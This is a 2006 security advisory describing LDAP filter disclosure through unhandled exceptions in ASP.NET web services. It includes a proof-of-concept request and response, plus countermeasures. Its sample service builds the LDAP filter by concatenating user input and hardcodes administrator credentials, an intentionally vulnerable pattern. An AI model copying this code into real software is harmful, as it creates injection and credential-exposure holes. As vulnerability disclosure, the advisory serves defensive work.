Security Advisory

Microsoft ASP.NET Web Services

Unhandled exception leads to LDAP injection disclosure.

Net Square Solutions Pvt. Ltd.
http://www.net-square.com
Shreeraj Shah [shreeraj@net-square.com]
19th Jan 2006

Advisory ID: NS-012006-ASPNET-LDAP

Product: IIS running with .Net Framework

Vendor: Microsoft (http://www.microsoft.com)

Platforms:

[Testing has been done on the following:]

1. Windows 2000 (SP4) + IIS5 + .Net Framework 1.1
2. Windows 2000 (SP4) + IIS5 + .Net Framework 2.0

Risk: Low (Caution for developers)

Vendor's response: This issue is addressed on .Net 2.0 framework by adding "suppressReturningExceptions" attribute into web.config. Microsoft is looking to improve the situation in versions 1.0 and 1.1 of the .Net Framework if and when Service Packs for these technologies become available.

Guidance URL from Microsoft:

`http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vbcon/html/vbtskdisplayingsafeerrormessages.asp`

Problem domain:

- Web Services running on the ASP.NET framework may disclose an internal LDAP filter query, if an exception is not handled properly in the source code.

Solution:

The solution to this problem can be achieved in following ways:

- By following secure programming practices and implementing exception handling mechanisms [catching exceptions] at the source code level. This is discussed as part of this document.
- Defending information leakage at the web services layer by adding "suppressReturningExceptions" attribute into web configuration file for .Net 2.0 framework. This attribute is not supported in lower versions of .Net framework.

Problem: LDAP filter information leakage

Proof of concept:

Here is a simple web services resource on *.Net* which takes a *username* as input and uses that information to open back end LDAP connection. If the filter runs successfully than code get executed cleanly. An exception is raised if filter is not correct.

Sample code (authservice.asmx)

```
public string getUserInfo(string username)
{
      AuthenticationTypes at = AuthenticationTypes.Secure;
      DirectoryEntry entry = new
      DirectoryEntry("LDAP://192.168.7.150","administrator","bla74",at);
      string domain = entry.Name.ToString();
      DirectorySearcher mySearcher = new DirectorySearcher(entry);
      SearchResultCollection results;
      string filter = "(samaccountname="+username+")";
      mySearcher.Filter = filter;
      results = mySearcher.FindAll();
      if (results.Count > 0)
      {
            //result block…
            return res;
      }
      else
      {
            return "none";
      }
}
```

In the above case, *web services* has one method called *getUserInfo* which accepts username from the user and processes it. This is the line where the LDAP connection gets created.

```
DirectoryEntry("LDAP://192.168.7.150","administrator","bla74",at);
```

Here is the line where filter get defined.

```
string filter = "(samaccountname="+username+")";
```

This filter line will take username and run against LDAP server. Now assume, we are looking for the user “john” which is user on LDAP and the SOAP envelope shown below is sent to the server.

```
---------------------------------- Request ----------------------------------
POST /LDAPservices/authservice.asmx HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol
1.1.4322.2032)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/getUserInfo"
Content-Length: 326
Host: ldapwebservice

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <soap:Body>
                <getUserInfo  xmlns="http://tempuri.org/">
                        <username>john</username>
                </getUserInfo>
        </soap:Body>
</soap:Envelope>
```

```
---------------------------------- Response ----------------------------------
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Fri, 13 Jan 2006 06:36:58 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1303

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <soap:Body>
                <getUserInfoResponse xmlns="http://tempuri.org/">
                        <getUserInfoResult>
                        ----------------------
                        [displayname]johnm miller
                        [useraccountcontrol]512
                        [whenchanged]1/4/2006 10:34:43 PM
                        [usncreated]3930
                        [name]johnm miller
                        ---- other information
                        [objectclass]user
                        [objectguid]System.Byte[]
                        ----------------------
                        </getUserInfoResult>
                </getUserInfoResponse>
        </soap:Body>
</soap:Envelope>
```

It is possible to break filter query by say injecting “(“. In that case actual filter would look like below

```
string filter = "(samaccountname=()”;
```

Request would look like below.

```
---------------------------------- Request ----------------------------------
POST /LDAPservices/authservice.asmx HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol
1.1.4322.2032)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/getUserInfo"
Content-Length: 326
Host: ldapwebservice

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <soap:Body>
                <getUserInfo  xmlns="http://tempuri.org/">
                        <username>(</username>
                </getUserInfo>
        </soap:Body>
</soap:Envelope>
```

Response would look like below.

```
---------------------------------- Response ----------------------------------
HTTP/1.1 500 Internal Server Error.
Server: Microsoft-IIS/5.0
Date: Fri, 13 Jan 2006 06:47:47 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Content-Length: 483

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <soap:Fault>
      <faultcode>soap:Server</faultcode>
      <faultstring>Server was unable to process request. --&gt; The (samaccountname=() search
filter is invalid.</faultstring>
      <detail />
    </soap:Fault>
  </soap:Body>
```

you can see, we have received the string **"(samaccountname=() search filter is invalid."** as part of *faultstring*. This discloses the internal query as well as term "filter". An attacker can send such malformed requests and obtain this information from the system.

Even though *customErro*rs is On/RemoteOnly in *web.config*, LDAP query information is disclosed in faultstring.(<customErrors mode="On"/>)

Countermeasure:

Option 1: Secure coding and exception handling

Since default exceptions sent by IIS disclose an internal critical LDAP information, make sure that exceptions are handled by properly in the source code. Take a look at the code below.

This code will protect an application from LDAP disclosures.

```
Try
{
   LDAP code.
 }
catch
{
   // Error handling routine
}
```

Guidance URL from Microsoft:

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vbcon/html/vbtskdisplayingsafeerrormessages.asp

Option 2: Setting attribute into web.config (.Net 2.0 framework only)

For 2.0 .Net framework one can add following attribute into their web.config file.

```
<webServices>
      <diagnostics suppressReturningExceptions="true"/>
</webServices>
```

By default it is “false” so one has to enable it. Once this is enabled and similar request sent to web services we get following response back without disclosure.

```
---------------------------------- Response ----------------------------------
HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Thu, 19 Jan 2006 02:27:04 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Content-Length: 374

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>An error occurred on
the server.</faultstring><detail /></soap:Fault></soap:Body></soap:Envelope>
```

More info on the element at http://msdn2.microsoft.com/en-us/library/ms229505.aspx

DISCLAIMER